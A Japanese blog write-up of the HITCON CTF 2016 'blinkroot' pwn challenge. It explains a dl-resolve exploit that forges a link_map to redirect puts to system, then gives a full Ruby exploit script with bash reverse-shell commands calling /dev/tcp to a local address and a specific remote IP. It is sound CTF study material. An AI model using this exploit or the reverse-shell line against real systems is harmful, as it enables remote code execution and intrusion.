読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

HITCON CTF2016 Quals blinkroot (pwn 200)

katagaitai CTF勉強会#8関東|medの午前問題として扱われた問題.いわゆるdl-resolve解法について学べる問題.午前午後共に詳しくはスライドを見れば乗っているので,割愛する.とりわけスライド通りのexploitで面白くないと思う.

下調べ

  • Canary, NXが有効
  • libcが配布

解析

バイナリ自体は小さくて,盛大にオーバーフローしてripは簡単に奪うことができる.さらに任意のところへの値書き込みも行うことができる.また,ファイルディスクリプターの0,1,2はcloseされてしまう.

Exploit

linkmapを偽装してあげる.そのためにdynstrやdynsymセクションなど必要なものをいい具合に指すように配置する.読み込み後に呼ばれるのはputs関数なので,puts関数を読んだ際に,system関数が呼ばれるようにしてあげると入力値もうまく書き換えた関数に渡すことができて良い.
もう一点考慮すべきは,標準入出力等がcloseされてしまうので,bashの機能を使って/dev/tcp/host/portの形でリバースシェルを貼る.正直ここらへんのbashの機能とかを精確に把握しているわけではないので一回ぐらいはちゃんと確認したほうがいいなという気持ちになった. 以下にexploitを示す.

require 'pwnlib'

offset_system = 0x45390
offset_read   = 0xf6670

if ARGV[0] == "r"
  offset_system = 0x46590
  offset_read   = 0xeb6a0
end

=begin
.got.plt
0x600b40 -> dynamic section address 
0x600b48 -> link_map address -> 0x600bd0
0x600b50 -> _dl_runtime_resolve GOT
_dl_runtime_resolve(link_map, reloc_arg)
=end

# for local
#CMD = ";bash -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1'"
# for remote
CMD = ";bash -c 'bash -i >& /dev/tcp/150.95.129.191/12345 0>&1'"

gotplt_addr   = 0x600b40
buf_addr      = 0x600bc0
data_addr     = 0x600B90
fake_linkmap  = 0x600bd0
symtab_addr   = fake_linkmap + 0x100
reloc_addr    = fake_linkmap + 0x140
strtab_addr   = fake_linkmap + 0x180
reloc_arg     = 1 
offset_system = offset_system - offset_read

linkmap = ""
linkmap << p64(offset_system) # l_addr 
linkmap << CMD.ljust(0x60, "\x00")
linkmap << p64(strtab_addr)   # strtab -> 0x6009e8 + 8 -> .dynstr
linkmap << p64(symtab_addr)   # symtab -> 0x6009f8 + 8 -> .dynsym
linkmap << p64(0) * 16
linkmap << p64(reloc_addr)    # reloc  -> 0x600a68 + 8 -> .rela.plt

reloc = ""
reloc << p64(0)
reloc << p64(reloc_addr + 0x18 - reloc_arg * 0x18)
reloc << p64(0)
reloc << p64(data_addr - offset_system)
reloc << p64(7)
reloc = reloc.ljust(0x40, "\x00")

symtab = ""
symtab << p64(0)
symtab << p64(0x600b70)
symtab << p64(0)
symtab = symtab.ljust(0x40, "\x00")

payload = p64(gotplt_addr - buf_addr) 
payload << p64(fake_linkmap)
payload << linkmap + symtab + reloc
payload = payload.ljust(1024, "\x00")
print payload

実行結果は取り忘れたが,katagaitaiCTF勉強会当日にシェルは取れた.

感想

dl-resolve自体は今までも複数回使ってきたがlinkmapの偽装は初めてだったので勉強になった.ただもっと,linkmapの構造体の定義とかそこら辺周りをしっかり見直さないと実践で使えるほどは身につかないと感じた.